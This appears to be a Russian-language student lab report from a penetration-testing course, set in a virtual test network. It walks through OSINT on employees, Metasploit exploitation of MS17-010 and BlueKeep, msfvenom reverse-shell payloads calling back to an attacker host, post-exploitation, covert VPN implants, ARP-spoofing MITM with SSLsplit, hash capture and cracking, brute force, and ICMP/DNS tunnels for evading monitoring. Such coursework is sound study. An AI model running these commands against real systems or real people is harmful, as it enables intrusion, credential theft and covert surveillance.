# 1. Атаки первоначального доступа ## Разведка 1. Иследование, анализ сферы деятельности организации. 2. Определение часто используемой структуры сети и используемых сервисов для организаций данной сферы деятельности. (пример, для организаций сверы ЖКХ) 3. Определение IP адресов организации. (через отправку специально подготовленных электронных писем или средствами социальной инженерии). 4. Сканирование выявленных ip адресов на наличие портов служб которые смотрят на ружу, а так же определение оборудования которое стоит на границе периметра. ## Сценарии проникновения 1. Подбор учетных данных на доступные сервисы RDP, SSH, Radmin, Ammyy Admin и подобные. 2. Эксплуатация вэб уязвимостей. 3. Иньекции в БД. 4. Эксплуатациии уязвимости сетевого оборудования стоящего на границе периметра. 5. Социальная инженерия. 6. Атаки на протоколы сетевого и канального уровня. 7. Физическая кража оборудование или носителей ключей доступа. 8. Отправка фишинговых электронных писем, а так же писем с вирусами и троянскими программами. 9. Физическое проникновение в организацию и получение доступа к оборудованию или сети с возможностью установки закладки. # 2. OSIN и социальная инженерия ### Задание Используя инструменты, рассмотренные на занятии 2, найти информацию о компании, в которой вы работаете. Необходимо найти максимальное количествено сотрудников компании, в которой вы работаете в открытом доступе (ФИО, email, телефон, ссылка на соцсеть). В отчете отразить инструмены и инструкцию работы с инструментами. Собранные данные включать в отчет не нужно! ### Инструменты для сбора информации о доменах и субдоменах компании. subfinder gau - amass - altdns - dnsgen, massdns, subbrute - wget ubfinder - subdomain discovery tool. Его главный плюс в том, что он собирает информацию с помощью API. Это позволяет выполняться пассивно и незаметно. пример использования `kali@kali:~$ subfinder -nW -oI -o ~/tmp/sib-nsk.log -d sib-nsk.net` - `-nW` - удаление мёртвых поддоменов из вывода - `-oI` - запись вывода в формате Host, IP - `-o ~/tmp/sib-nsk.log - файл, в который запишем результат - `-d sib-nsk.net` - домен для поиска поддоменов в лог файле мы увидим доменные имена и ip адреса на которых они висят после можно воспользоваться сервисом hunter.io для поиска e-mail адресов с привязкой к конкретному домену ![](https://i.imgur.com/pjxxCBa.png) Утилита gau для поиска URL установка go install github.com/lc/gau/v2/cmd/gau@latest использование ~/go/bin/gau --subs sib-nsk.net ![](https://i.imgur.com/t8xzHzy.png) используя различные инструменты можно из этого вывода выдернуть документы для изучения наличия вних персональных данных. При помощи ресурсов типа https://2ip.io/domain-list-by-ip/ можно просмотреть какие еще домены могут висеть на конкретном IP адресе. С помощью утилиты dig мы можем просмотреть на каком из найденых нами доменов висит почта dig MX sib-nsk.net при помощи телеграмм бота по номеру телефона и почте можно узнать информацию о человеке https://t.me/+DPwC7zLpjoM5ZDcy также есть бот "Глаз Бога" но он работает по платной подписке. # Тема 3. Сканирование сети корпоративной инфраструктуры ### Задачи а) Выполнить конфигурацию инфраструктуры для выявления уязвимых сервисов (пробросить RDP и SMB порты Windows 7 на внешние порты FW) б) Выполнить сканирование внешнего периметра сети виртуальной организации, найти потенциально уязвимые сервисы, используя инстурументарий, рассмотренный на занятии в) Выполнить эксплуатацию найденной уязвимости, используя инстурументарий, рассмотренный на занятии 3. г) Установить сетевой сканнер Nessus (будет необходим VPN) и просканировать внешний периметр инфраструктуры ## Настройка инфраструктуры Итоговая структура сети выглядит так ![](https://i.imgur.com/B98R4F4.png) ### настройки pfSense Проброс портов для RDP и SMB ![Uploading file..._ca3v6oh9x]() и разрешающие правила ![](https://i.imgur.com/driNc0v.png) ## Сканирование внешнего периметра Начнем сканирование с утилиты nmap всей подсети 10.10.51.0.24 `nmap 10.10.51.0/24 -v` ![](https://i.imgur.com/XPAH9U9.png) Внешний адрес нашего pfSense 10.10.51.57 утилита почемуто нашла два открытых порта сканирование конкретно нашего ip адреса `nmap 10.10.51.57 -A` ![](https://i.imgur.com/OcKNxvK.png) ![](https://i.imgur.com/zaV3phG.png) Воспользуемся возможностью nmap подключать скрипты для более детального сканирования хоста (определения версий уязвимости) `nmap 10.10.51.57 -A -sV --script=*vuln*` найдена одна уязвимость ms17-010 ![](https://i.imgur.com/avni7mM.png) ### Эксплуатация найденной уязвимости воспользуемся утилитой Metasploit Framework console для запуска введем команду `msfconsole` ![](https://i.imgur.com/EZU9DD8.png) проведем поиск по номеру уязвимости `msf6 > search CVE-2017-0143` ![](https://i.imgur.com/re7a6ks.png) выдан список возможных эксплоитов воспользуемся самым первым эксплоитом, введем команду `use 0` для просмотра возможных опций этого эксплоита введем команду `show options` ![](https://i.imgur.com/qomVGjI.png) нам достаточно прописать опцию RHOSTS делается это командой `set RHOSTS` 10.10.51.57 командой `run` мы запускаем данный эксплоит ![](https://i.imgur.com/DgJyj72.png) в итоге эксплоит прошел удачно и мы получили доступ ![](https://i.imgur.com/7d4rns0.png) ### Реализуем еще одну уязвимость bluekeep выходим в командную строку msfcomsole? и ищем эксплоит bluekeep `search bluekeep` далее выбираем наш экслоит ![](https://i.imgur.com/64WCWBP.png) проверяем какие есть опции на этом эксплоите и задаем ему опцию RHOSTS не забываем установить версию ОС в ошции Exploit target и запускаем ![](https://i.imgur.com/QgoknZk.png) Эксплорер отработал и мыы получили доступ к win7 машине ![](https://i.imgur.com/SiXFO3r.png) ## Утановка Nessus При помощи vpn скачиваем и устанавливаем Nessus, так же на сайте нужно зарегистрироваться и получит ключь активации ![](https://i.imgur.com/THMWmN4.png) запускаем службу ![](https://i.imgur.com/C4iz99f.png) и в браузере заходим по адресу http://127.0.0.1:8834 Выбираем версию ![](https://i.imgur.com/NXXskvh.png) Вводим регистрационый код а также логин и пароль ![](https://i.imgur.com/3dpEIFS.png) и дожидаемся скачивания и установки плагинов ![](https://i.imgur.com/OOtKXbr.png) После установки плагинов нам срузу предлагается указать цель для сканирования ![](https://i.imgur.com/bWV4cXk.png) Через некоторое время нам выдатсся какие уязвимости были найдены ![](https://i.imgur.com/0r0EUPj.png) ![](https://i.imgur.com/PVyyFdx.png) # Тема 4. Проникновение за периметр инфраструктуры. Технология SSH Port forwarding SSH Tunneling. Проксирование трафика ### Задачи а) Создать проброс портов (445 и 3389) с помощью технолонии SSH PortForwarding б) Создать L3 тоннель с помощью SSH Tunneling и настроить маршрутизацию во внутренний периметр сети извне. в) Создать L2 тоннель с помощью SSH Tunneling и настроить маршрутизацию во внутренний периметр сети извне. Получить адрес DHCP на машине злоумышленника г) Настроить выход изнутри инфраструктуры с помощью SSH proxy на внешний SSH сервер ## a) Проброс портов (445 и 3389) с помощью технолонии SSH PortForwarding Проверяем запушен ли ssh служба на внешней Kali linux машине командой `service ssh status если не запущен запускаем его ![](https://i.imgur.com/OmPsTvl.png) В нашем случае он запущен. Провряем возможность подключения из нутри инфраструктуры на наш внешний ssh сервер ![](https://i.imgur.com/D76e94E.png) ![](https://i.imgur.com/prtPMwI.png) все хорошо подключается пробросим порт 3389 с windows10 на порт 3390 Kali linux для этого в командной строке windows 10 пропишем следующую команду `ssh -R 3390:127.0.0.1:3389 user@10.10.51.96` попробуем теперь с Kali linux подключиться по RDP к Windows 10 машине в обход файервола ![](https://i.imgur.com/MjIzXqV.png) в водим команду `xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3390` И видим подключение к Windows 10 ![](https://i.imgur.com/rnsFtSX.png) Для проброса 445 порта используется таже команда только вместо 3389 указывается 445 порт и далее по аналогии Команда для проброса порта на другой компьютер `ssh -R 3391:192.168.1.113:3389 user@10.10.51.96` в данном случее проброс будет сделат через windows10 машину на windows7 ### L3 тоннель с помощью SSH Tunneling Произведем настройку внешей Kali linux машины в файле настройки ssh сервера раскоментируем (или добавим) параметры `PermitionRoorLogin yes` -разрешаем подключение root к ssh `PermitTunnel yes` -разрешает использование перенаправления для устройств TUN Тонель поднимается при помощи ключа -w для этого бедем использовать Debian машинку находящиюся в нутри инфраструктуры и введем следующую команду `ssh -w any:ane root@10.10.51.185` ![](https://i.imgur.com/dFmpFWA.png) откроим еще один терминал на этой машине командой Alt+F2 для донастройки Видим появившейся адаптер tun0 но он не активен ![](https://i.imgur.com/hbZdEAi.png) назначим ip адрес на этот интерфейс `ip addr add 172.10.10.2/24 dev tun0` включим этот интерфейс `ip link set dev tun0 up` ![](https://i.imgur.com/JosjMCr.png) включаем маршрутизацию вфайле /etc/sysctl.conf нужно раскоментировать параметр net.ipv4.ip_forward=1 после применим настройки командой `sysctl -p` ![](https://i.imgur.com/vMpYSUj.png) Настроим правила NAT чтобы трафик идущий из любых интервейсов натился на интерфейс ens3 `iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE` приступим к донастройке kali linux машине назначим нашему новому интерфейсу ip адрес `ip addr add 172.10.10.1/24 dev tun0` `ip link set dev tun0 up` и добавляем маршрут до сети 192.168.1.0/24 `ip route add 192.168.1.0/24 via 172.10.10.2` можно попробовать зайти на pfSense с Kali linux машины по адресу 192.168.1.1 ![](https://i.imgur.com/SLPpcsG.png) ### L2 тоннель с помощью SSH Tunneling Подключим в нашу инфраструктуру еще одну debian машину и на ней будем проводить эксперимент Настроим сеть и установим на ней bridge-utils (`apt install bridge-utils`) Запустим соединение по ssh следующей командой `ssh root@10.10.51.185 -o Tunnel=ethernet -w any:any` включаем интерфейс `ip link set tap0 up` добавляем созданный тонель в бридж `brctl addif br0 tap0` ![](https://i.imgur.com/C5lTKUA.png) Зайдем на внешнюю Kali linux и на ней настроим тонель включаем интерфейс `ip link set tap0 up` и получаем по dhcp на этот интерфейс адрес `dhclient tap0` ![](https://i.imgur.com/WeWSS9M.png) ## Выход изнутри инфраструктуры с помощью SSH proxy на внешний SSH сервер Для использования SSH proxy нужно использовать ssh со следующими параметрами `ssh -f -qNTn -D *:8888 user@10.10.51.185` # Тема 5. Проникновение за периметр инфраструктуры. OpenVPN L3, L2 Tunneling ### Задачи а) Построить OpenVPN L3 тоннель и проникнуть вовнутрь инфраструктуры и настроить маршрутизацию во внутренний периметр сети извне. б) Построить OpenVPN L2 тоннель и проникнуть вовнутрь инфраструктуры и настроить маршрутизацию во внутренний периметр сети извне. Получить адрес DHCP на машине злоумышленника ### Настройка стенда добавим на наш стенд дополнительно одну debian машину, обзавем ее RPi (raspberry pi) в конфигурации добавим 3 сетевых интерфейса, два будут работать в режиме бриджа а один смотреть во внешнюю сеть эмулируя LTE модем. ![](https://i.imgur.com/G3Wi7ir.png) Также создадим дополнительно два VLAN 10 и 20 в 10 будет windows 10 машина а в 20 debian, windows 7 останется в VLAN 1. Дополнительно добавим еще одну Kali linux машину для поднятия на ней openvpn сервера ### Построить OpenVPN L3 на RPI-4 установим openvpn client `apt install openvpn` а также включим маршрутизацию в файле /etc/sysctl.conf, раскоментируем строчку net.ipv4.ip_forward=1 и применим изменения sysctl -p вешаем ip адрес на бридж интерфейс `ip addr add 192.168.1.97/24 dev br0` и настроим nat на бридж интерфейсе `iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE` на внешней Kali linux машине скачиваем скрипт `curl -O https://raw.githubusercontent.com/angristan/openvpn-install/master/openvpn-install.sh делаем его исполняемым `chmod +x openvpn-install.sh Запускаем `./openvpn-install.sh` помере выполнения отвечаем на вопросы после выаолнения скрипта в конце он запросит как обозвать клиента и по этому имени создаст сщташгурационный файл для этого клиента. В нашем случае создался файл user.ovpn скачиваем этот файл на нашу RPi машину. редактируем файл конфигурации openvpn сервера, приводим его к виду как указанно на скриншоте ![](https://i.imgur.com/PwjyQOE.png) перезапускаем openvpn сервер `service openvpn restart` в папке /etc/openvpn/ccd создадим файл с именем нашего профиля (клиента) `nano user` пропишем в нем какие сети находятся за этим клиентом `iroute 192.168.1.0 255.255.255.0` ![](https://i.imgur.com/fHMIi94.png) пропишем маршрут `ip route add 192.168.1.0/24 via 10.8.0.2` так же немного редактируем файл конфигурации openvpn клиента приводим его к виду как указанно на скриншоте ![](https://i.imgur.com/0qQ4KYd.png) подключаемся к openvpn серверу `openvpn user.conf` с Kali linux пробуем пропинговать адрес 192.168.1.1 и видим что пинги проходят, а значить мы имеем доступ во внутреннюю инфраструктуру ![](https://i.imgur.com/4chmrxe.png) ### L2 OPENVPN тунель настройки сервера nano /etc/openvpn/server.conf port 1194 proto udp #dev tun dev tap user nobody group nogroup persist-key persist-tun keepalive 10 120 topology subnet server 10.8.0.0 255.255.255.0 ifconfig-pool-persist ipp.txt #push "dhcp-option DNS 8.8.8.8" #push "dhcp-option DNS 8.8.4.4" #push "redirect-gateway def1 bypass-dhcp" dh none ecdh-curve prime256v1 tls-crypt tls-crypt.key crl-verify crl.pem ca ca.crt cert server_7hSP84aWqqcYZwQ5.crt key server_7hSP84aWqqcYZwQ5.key auth SHA256 cipher AES-128-GCM ncp-ciphers AES-128-GCM tls-server tls-version-min 1.2 tls-cipher TLS-ECDHE-ECDSA-WITH-AES-128-GCM-SHA256 client-config-dir /etc/openvpn/ccd status /var/log/openvpn/status.log verb 3 перезапускаем openvpn service openvpn restart ![](https://i.imgur.com/KJgW9BU.png) Настройки клиента nano user.conf ![](https://i.imgur.com/3baJ0fH.png) Меняем настройки сети на клиенте /etc/network/interfaces Добавляем как на скриншоте ![](https://i.imgur.com/DIV4n4b.png) настраиваем автоматический запуск openvpn сервер systemctl enable openvpn для того что бы автоматически подтягивался конфиг для openvpn перенесем конфигурационый вайл в папку /etc/openvpn mv user.conf /etc/openvpn/ укажем опенвпн серверу конкретно какой конфигурационный файл брать при автозапуске nano /etc/default/openvpn ![](https://i.imgur.com/Spp19Pg.png) Создаем скрипт для автоматической перезапуска сети для этого в папке etc/openvpn создаем скрипт cd /etc/openvpn nano up.sh #!/bin/bash /usr/bin/systemctl restart networking.service Разрешаем на запуск chmod +x up.sh в файл user.conf добавляем script-security 2 up /etc/openvpn/up.sh ![](https://i.imgur.com/fl9yNcG.png) после чего перезагружаем устройство и openvpn клиент автоматически подключается # Тема 6. Вредоносное программное обеспечение в корпоротивной среде. ### Настройки рабочей среды #### Kali Linux Нужно в одной консоли запустить msfconsole show payloads - просмотр payloads выбираем эксплоит use exploit/multi/handler просмотр опций show options ![](https://i.imgur.com/sVn19NV.png) Устанавливаем параметр LHOST set lhost 0.0.0.0 устанавливаем выбранный payloads set payloads windows/x64/meterpreter/reverse_tcp Смотрим какие опции присутствуют на этом payloads show options ![](https://i.imgur.com/3IgLBmd.png) при помощи утилиты msfvenom создаем запускаемый файл msfvenom -p windows/x64/meterpreter/reverse_tcp lport=4444 lhost=10.10.51.58 -f exe -o reverse-tcp-meterpreter.exe В результате чего создастся файл reverse-tcp-meterpreter.exe ![](https://i.imgur.com/ftEubdw.png) С помощью python зоздаем веб сервер в котором будет находится наш файл sudo python -m http.server 80 далее с жертвы заходим на этот сервер и скаиваем нужный нам файл и запускаем его. на атакующем компьютере имеем доступ ![](https://i.imgur.com/ZaTKyDL.png) создание payload для подключения по RDP set payload windows/x64/vncinject/reverse_tcp msfvenom -p windows/x64/vncinject/reverse_tcp lport=4444 lhost=10.10.51.58 -f exe -o reverse-tcp-vnc.exe в итоге на атакующей машине запустится сессия vnc с доступом к жертве Настроим проброс портов Вернемся к сессии set payloads windows/x64/meterpreter/reverse_tcp (session N) или если она не запущенна запустим введем команду portfwd add -L 10.10.51.58 -l 3395 -p 3389 -r 192.168.10.10 Смотрим соединения которые получились portfwd list ![](https://i.imgur.com/jvsve4t.png) Пробуем подключиться по RDP xfreerdp /u: user /p:eve@123 /v:10.10.51.58:3395 в итоге получаем сессию rdp ![](https://i.imgur.com/9bCSgb6.png) ### Постэксплуатация use post/windows для примера используем следующую комманду use post/windows/escalate/unmarshal_cmd_exec устанавливаем запущенную сессию set session N (где N номер ссесии которую можно посмотреть коммандой show sessions) и запускаем ![](https://i.imgur.com/N5WUAyL.png) в итоге на атакуемой машине имеем пользователя с правами администратора. попробуем изспльзовать скрипт post/windows/manage/change_password посмотрим опции ![](https://i.imgur.com/MjfLlMG.png) установим опции и запустим скрипт ![](https://i.imgur.com/OQ4DbSf.png) Пароль изменен Запустим еще один скрипт я так понял получает список локальных администраторов ![](https://i.imgur.com/Z6UAdGZ.png) ## Reverse HTTPS-подключения ``` msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.10.51.58 lport=443 -f exe -o 443.exe ``` Закидываем файл 443.exe на компьютер жертвы, а на атакуемом компьютере запускаем mfsconsole и вводим следующие комманды ``` use exploit/multi/handler set payload windows/x64/meterpreter/reverse_https msf exploit(handler) > set lhost IP 10.10.51.58 msf exploit(handler) > set lport 443 run ``` В итоге имеем досттуп ![](https://i.imgur.com/YaForUX.png) ### PowerShell reverse tcp запускаем mfsconsole и вводим следующие комманды ``` set payload cmd/windows/reverse_powershell set lhost 10.10.51.58 set lport 4444 run ``` зоздадим пэйлоад ``` msfvenom -p cmd/windows/reverse_powershell lhost=10.10.51.58 lport=4444 -o shell.bat ``` Зальем его на жертву и запустим ![](https://i.imgur.com/T9iCeS0.png) ## Stealers Это программное обеспечение которое позволяет похищать критически важную информацию. https://github.com/tiagorlampert/sAINT # Тема 7. Особенности атак, использующих метод перехвата трафика ### 1. Подготовка стенда Добавляем новую машину контроллера домена на windows server 2016 Назначаем статический IP адресс 192.168.1.200 поднимаем службу контроллера домена и DNS сервер на машинах с windows 10 и Windows 7 всетевых настройках меняем адресс DNS на 192.168.1.200 Вводим win7 and win10 машины в домен ### 2. Практическая часть #### Перехват трафика Для начала сканируем внутренную сеть. На Kali Linux устанавливаем пакет dsniff (apt install dsniff) в этом пакете находится уьтилита для перехвата трафика arpspoof для arp spoof атаки между двумя хостами arpspoof -i eth0 -t 192.168.1.200 -r 192.168.1.102 ![](https://i.imgur.com/4CZUkvI.png) на скриншоте выдем атаку на KAli запустим wireshark и посмотрим что мы получаем трафик между контроллером домена 192.168.1.200 и виндовс машинкой 192.168.1.102 ![](https://i.imgur.com/ADN3cTZ.png) попробуем разобрать проходящий трафик при помощи утилиты responder responder -I eth0 -wd видем NTLM авторизацию и хеш пароля ![](https://i.imgur.com/yHbtu26.png) так же попробуем перенаправить соединение по 445 порту на наш респондер для этого пропишем правило iptaples -t nat -A PREROUTING -p tcp --dport 445 -j REDIRECT --to-ports 445 после чего можем перехватывать хеш пароля при попытке пользователя подлкюится по SMB к домену контроллера или к другому какому сервису, все зависит от того перенаправление какого сервиса мы сделаем ![](https://i.imgur.com/nTXnGaP.png) ### SSLsplit Ссылка на статью https://blog.kchung.co/recording-and-decrypting-ssl-encrypted-traff для начала подготовим контроллер домена на стенде для этого настроим на нем сертификаты запустим с правами администратора mmc и добавим в неее остнастку Certificates ![](https://i.imgur.com/YZRQzQm.png) также в контроллер домена добавим роль центра сертификации по статье генерируем ключи создаем папку для сертификата mkdir ssl cd ssl генерируем 1. `openssl genrsa -out ca.key 4096` 2. 1. `openssl req -new -x509 -key ca.key -out ca.crt` ![](https://i.imgur.com/horcqsH.png) добавляем правила iptables iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080 создаем дополнительные папки mkdir /tmp/sslsplit/ mkdir logdir Меням параметры arpspoofing arpspoof -i eth0 -t 192.168.1.102 -r 192.168.1.1 И запускаем sslsplit sslsplit \ -D \ -l connections.log \ -j /tmp/sslsplit/ \ -M ssl_key_logfile \ -S logdir/ \ -k ca.key \ -c ca.crt \ ssl 0.0.0.0 8443 \ tcp 0.0.0.0 8080 и видем подмену сертификата ![](https://i.imgur.com/j6sxOLZ.png) Скачиваем и устанавливаем наш сертификат на машине с windows 7 перезапускаем браузер и повторно открываем сайт ptsecurity.com и видим что сертификат вполне действительный. ![](https://i.imgur.com/7j3s7ZX.png) для просмотра тарфика запустим wireshark в настройках wirwshark добавим (Pre)-Master-Secret log filename ![](https://i.imgur.com/d4q6Upi.png) итог мы можем спомощью подмены сертификата захватывать зашифрованный трафик и расфифровывать его. ![](https://i.imgur.com/ZTVBECc.png) # Тема 8. Особенности атак, использующих метод грубой силы ### Задачи а) Подготовить инфраструктуру для проведения BruteForce атак б) Провести атаку на сервис RDP в) Провести атаку на сервис SSH г) Перехватить трафик с помощью Responder и осуществить BruteForce атаку на перехваченный NTLMv2 хэш ### BruteForce Начнем с BruteForce атаки на перехваченный NTLMv2 хеш с помощью Responder responder -I eth0 -wd видем NTLM авторизацию и хеш пароля ![](https://i.imgur.com/ECV4iKS.png) так же попробуем перенаправить соединение по 445 порту на наш респондер для этого пропишем правило iptaples -t nat -A PREROUTING -p tcp --dport 445 -j REDIRECT --to-ports 445 после чего можем перехватывать хеш пароля при попытке пользователя подлкюится по SMB к домену контроллера или к другому какому сервису, все зависит от того перенаправление какого сервиса мы сделаем ![](https://i.imgur.com/vLJTHtQ.png) для подбора пароля по хеш будем использоваать утелиту hashcat Для начала распакуем словарь по которому будем подбирпть пароль sudo gzip -d /usr/share/wordlists/rockyou.txt.gz hashcat -a 0 -m5600 SMB-NTLMv2-SSP-192.168.1.102.txt /usr/share/wordlists/rockyou.txt -o pass.txt ![](https://i.imgur.com/qxMUnKz.png) по завершению работы мы можем посмотреть результат в файле pass.txt ![](https://i.imgur.com/jUKUjKf.png) где видем подобранный пароль eve@123 ### RDP Подбор будем проводить при помощи Lazy-RDP Установка ``` git clone https://github.com/getdrive/lazy-rdp cd lazy-rdp && chmod +x hydra/configure hydra/hydra src/rdp_brute.sh patator.py start INSTALL ``` Установка зависимостей ``` ./INSTALL ``` Запуск скрипта ``` ./start ``` ![](https://i.imgur.com/bebAdcO.png) оставляем порт по умолчанию, так как мы будем подбирать пароль к RDP ![](https://i.imgur.com/vwMMPPo.png) Здесь в нашем случае выбираем 1 и указываем для сканирования либо отдельный ip адресс либо диапазон ![](https://i.imgur.com/7G01L53.png) Указываем чем сканировать будем. Выберем nmap После сканирования на непродолжительное время покажет что нашла и предложит выбрать метод подбора пароля ![](https://i.imgur.com/3AIcAAE.png) Выберем 3 (Подбор по словарю как имени пользователя так и пароля) ![](https://i.imgur.com/GJy2NuZ.png) Укажем путь к файлу с именами и файлу с паролями ![](https://i.imgur.com/2SbRQJo.png) укажем чем непосредственно будем брутфорсить выберем 1 ![](https://i.imgur.com/RQpHLAo.png) Запустится процесс подбора ![](https://i.imgur.com/NaIDW2x.png) Через какоето время пароль подобран. # ssh-bruteforce Будем использовать иструмент ssb скачаем и установим с https://github.com/kitabisa/ssb для скачивания и установки выполним команду из под root curl -sSfL 'https://git.io/kitabisa-ssb' | sh -s -- -b /usr/local/bin для подбора пароля введем следующую команду ssb -p 22 -w pass -o creds.txt root@192.168.1.106 где -w pass файл со словарем паролей -o creds.txt файл куда сохранится пароль ![](https://i.imgur.com/PySvPhF.png) и после запуска утилита подобрала успешно пароль # Тема 9. Инструменты скрытия трафика от систем защиты ### Задачи а) Дополнить конфигурацию инфраструктуры для возможности создания ICMP и DNS туннеля. б) Выполнить реализацию ICMP тоннеля в) Выполнить реализацию RAW DNS тоннеля (простой способ) г) Выполнить реализацию DNS тоннеля через корпоративный DNS сервер (сложный способ) ### ICMP тонель подготовка инфраструктуры cсклонирунм утилиту hans с гитхаб на компьютер с кали линукс который расположен с наружи нашей инфраструктуры. git clone https://github.com/friedrich/hans Заходим в скачаную папку и комилируем командой make после в этой папке у нас появится исполняемый файл hans ![](https://i.imgur.com/hYGCGQZ.png) анологично скачиваем и компилируем данную утилиту и на компьютер с debian внутри инфраструктуры, может понадобится установка дополнительных утелит такой как net-tools На Kali linux запускам сервер hans командой ./hans -s 10.1.2.0 -p Aa123456 где -s 10.1.2.0 создаваемая сеть, приэтом серверу назначиться адрес 10.1.2.1 -p Aa123456 пароль ![](https://i.imgur.com/9Xvwdlm.png) создался тоннель tun0 Запустим клиента на debian машине в нутри инфраструктуры для этого выполним следующую команду ./hans -c 10.10.51.96 -p Aa123456 ![](https://i.imgur.com/rehj1LX.png) создался так же тоннель tun0 и назначен адрес 10.1.2.100 Настроим выход и ифраструктуры для debian машины через созданный icmp тонель для этого пропишем маршруты на Kali Linux пропишим NAT iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE на Debian пропишем маршрут ip route add 10.10.51.96/32 via 192.168.20.254 удаляем дефолтный маршрут ip route delete default и добавим новый маршрут ip route add default via 10.1.2.1 Посмотрим как теперь идут маршрути на ya.ru ![](https://i.imgur.com/mBv3Pil.png) Запустим wireshark на интерфейсе e0 pfSense и увидим большое колличество icmp пакетов в data которых встречается hans что говорит о том что используется утилита hans ![](https://i.imgur.com/SxuTBlb.png) в обычном icmp запросе такого нету ## RAW DNS тоннель (простой способ) Будем использовать статью https://habr.com/ru/post/129097/ На Kali linux машине которая находится за пределами инфраструктуры установим утилиту iodine apt install iodine аналогично ставим и на debian машине которая находится внутри инфраструктуры Далее на Kali linux машине запускаем серверную часть утилиты iodine iodined 10.99.99.1/24 -c i.ptlab.net ![](https://i.imgur.com/6iZT9sK.png) на debian машине запускаем клиента, предварительно поменяв DNS ![](https://i.imgur.com/gv9cCTf.png) После запускаем клиента командой iodine -P Qq123456 i.ptlab.net ![](https://i.imgur.com/BhhEmLx.png) тунель создан и мдаже можно подключиться по ssh ![](https://i.imgur.com/pJomyoI.png) ![](https://i.imgur.com/2Od7biD.png) Но данный метод имеет минусы один из них это отсутсвиие DNS на клиенте. ## Реализация DNS тоннеля через корпоративный DNS сервер (сложный способ) Подготовим ифраструктуру, для этого на стенде за переделим организации установим и настроим внешний DNS сервер, на базе windows server 2016 ![](https://i.imgur.com/YXmHQaX.png) настраиваем делелгирование ![](https://i.imgur.com/PWn2yBn.png) Так же нужно перенастроить DNS на контроллере домена находящийся в нутри организации ![](https://i.imgur.com/9EmHoZr.png) стенд подготовлен. Переходим на debian машину, перезагружаем ее, прописываем наш DNS сервер 192.168.1.200 утилитой dig смотрим на записи ptlab.net видим что А запись ссылается на адрес 10.10.51.186 ![](https://i.imgur.com/1mhtT5M.png) попробуем опять подключиться iodine к серверу iodine -P Qq123456 i.ptlab.net ![](https://i.imgur.com/tAb93OA.png) Вэтом варианте мы можем резолвить адреса ![](https://i.imgur.com/2e0HIfJ.png) Посмотрим на трафик который идет во внешнюю сеть (тут у меня почемуто перестали вставляться картинки, поэтому вставляю ссылки на них) [Screenshot_54](https://cloud.mail.ru/public/vgyL/VcJv6c98Y) Заметим что днс трафик содержит непонятные вещи, по которым можно легко определить что есть какойто тунель в DNS трафике Перейдем к следующему этапу тестирования, для начала отключим существующий днс тонель [Screenshot_55](https://cloud.mail.ru/public/h5ZG/9Rwasrzhz) Отключим доступ до внешних ресурсов кроме нашего внешнего DNS серовера проверим утилитой dig запросы на mail.ru и у собственного днс сервера мы получаем данные, а из внешнего нет. [Screenshot_56](https://cloud.mail.ru/public/axYQ/3N34YBze3) закрываем вообще весь трафик кроме 53 порта [Screenshot_57](https://cloud.mail.ru/public/nLdm/D9xdHCPrD) [Screenshot_58](https://cloud.mail.ru/public/JvyM/Guv1XhRSq) в очередной раз попробуем подключиться iodine к серверу iodine -P Qq123456 i.ptlab.net [Screenshot_59](https://cloud.mail.ru/public/8Nss/ic2LSE6vy) и мы видим, что утилита не смогла получить доступ через raw логин и начала реализовывать доступ через dns стрим и в итоге таки установила соединение. а так же появился наш тонель [Screenshot_60](https://cloud.mail.ru/public/MmgP/9Lr2Wt9yA) Пропишим нужные нам маршруты ip route add 192.168.1.200 via 192.168.20.254 удалим дефолтный маршрут и добавим новый дефолтный маршрут ip route delete default ip route add default via 10.99.99.1 [Screenshot_62](https://cloud.mail.ru/public/ESb8/MjErRQ9nU) в итоге мы видим что у нас есть выход во вне и wireshark показывает Standart query dns запросы. ## Конец